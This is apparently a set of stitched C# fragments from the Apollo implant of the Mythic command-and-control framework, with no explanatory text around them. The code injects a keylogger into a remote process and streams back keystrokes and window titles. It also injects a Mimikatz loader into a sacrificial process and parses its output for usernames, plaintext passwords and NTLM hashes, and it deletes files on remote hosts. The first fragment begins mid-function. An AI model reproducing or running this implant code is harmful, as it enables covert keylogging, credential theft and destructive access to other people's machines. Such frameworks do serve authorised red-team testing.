//Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid); if (injectionHandler.Inject()) { BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new IPC.KeystrokeMessageBinder(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", args.pipe_name, PipeDirection.InOut); try { pipeClient.Connect(30000); job.OnKill = delegate() { try { if (pipeClient.IsConnected) { bf.Serialize(pipeClient, new IPC.KillLoggerMessage()); } job.SetComplete("Stopped keylogger."); } catch (Exception ex) { } }; job.AddOutput($"Connected to keylogger. Processing keystrokes."); while (true) { KeystrokeMessage msg = new KeystrokeMessage(); try { msg = (IPC.KeystrokeMessage)bf.Deserialize(pipeClient); ApolloTaskResponse resp = new ApolloTaskResponse() { task_id = task.id, user = msg.User, window_title = msg.WindowTitle, keystrokes = msg.Keystrokes }; job.AddOutput(resp); } catch (Exception ex) { } } } catch (Exception ex) { job.SetError($"Something went wrong: {ex.Message}"); } } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "command": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } command = json.Value <string>("command"); if (string.IsNullOrEmpty(command)) { job.SetError("Require one or more commands to give to Mimikatz."); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } if (implant.architecture == "x64") { sacrificialApplication = EvasionManager.SpawnTo64; } else { sacrificialApplication = EvasionManager.SpawnTo86; } try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { response = new ApolloTaskResponse(job.Task, output.ToArray()); var credResp = GetCredentialResponse(job.Task, command, output); job.AddOutput(response); if (credResp.credentials != null && credResp.credentials.Length > 0) { job.AddOutput(credResp); } output.Clear(); } job.SetComplete(""); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
private static ApolloTaskResponse GetCredentialResponse(Task task, string command, List <string> output) { bool bRet = false; List <Mythic.Structs.MythicCredential> creds = new List <Mythic.Structs.MythicCredential>(); Mythic.Structs.MythicCredential cred = new Mythic.Structs.MythicCredential(); ApolloTaskResponse resp = new ApolloTaskResponse(task); foreach (string cmd in CredentialCommands) { if (command.Contains(cmd)) { bRet = true; } } if (!bRet) { return(resp); } string[] outputArray = output.ToArray(); for (int i = 0; i < outputArray.Length; i++) { string line = outputArray[i].Trim(); if (line.ToLower().Contains("username")) { if (cred.credential != null && cred.account != null && cred.credential != "" && cred.account != null) { creds.Add(cred); } cred = new Mythic.Structs.MythicCredential(true); string val = GetValue(line); cred.account = val; } if (line.ToLower().Contains("domain")) { if (i + 1 < outputArray.Length) { if (outputArray[i + 1].ToLower().Contains("password") || outputArray[i + 1].ToLower().Contains("ntlm")) { cred.realm = GetValue(line); } } } if (line.ToLower().Contains("password") || line.ToLower().Contains("ntlm")) { if (line.ToLower().Contains("password")) { cred.credential_type = "plaintext"; } else if (line.ToLower().Contains("ntlm")) { cred.credential_type = "hash"; } else { cred.credential_type = ""; } cred.credential = GetValue(line); } } if (creds.Count == 0) { return(resp); } resp.credentials = creds.ToArray(); return(resp); }
public static void Execute(Job job, Agent implant) { Task task = job.Task; RemoveArguments args = JsonConvert.DeserializeObject <RemoveArguments>(task.parameters); string path = args.path; if (!string.IsNullOrEmpty(args.host)) { path = $"\\\\{args.host}\\{path.Replace(":", "$")}"; } ApolloTaskResponse resp; switch (job.Task.command) { case "rm": try { FileInfo finfo = new FileInfo(path); System.IO.File.Delete(path); task.completed = true; resp = new ApolloTaskResponse(task, $"Successfully deleted file \"{path}\""); resp.removed_files = new Mythic.Structs.RemovedFileInformation[] { new Mythic.Structs.RemovedFileInformation() { host = args.host, path = finfo.FullName }, }; job.SetComplete(resp); } catch (Exception e) { job.SetError($"Error removing file \"{path}\": {e.Message}"); } break; case "rmdir": try { DirectoryInfo dirinfo = new DirectoryInfo(path); System.IO.Directory.Delete(path); task.completed = true; resp = new ApolloTaskResponse(task, $"Successfully deleted file \"{path}\""); resp.removed_files = new Mythic.Structs.RemovedFileInformation[] { new Mythic.Structs.RemovedFileInformation() { host = args.host, path = dirinfo.FullName } }; job.SetComplete(resp); } catch (Exception ex) { job.SetError($"Error deleting file \"{path}\". Reason: {ex.Message}"); } break; default: job.SetError("Unsupported code path reached in Remove.cs"); break; } }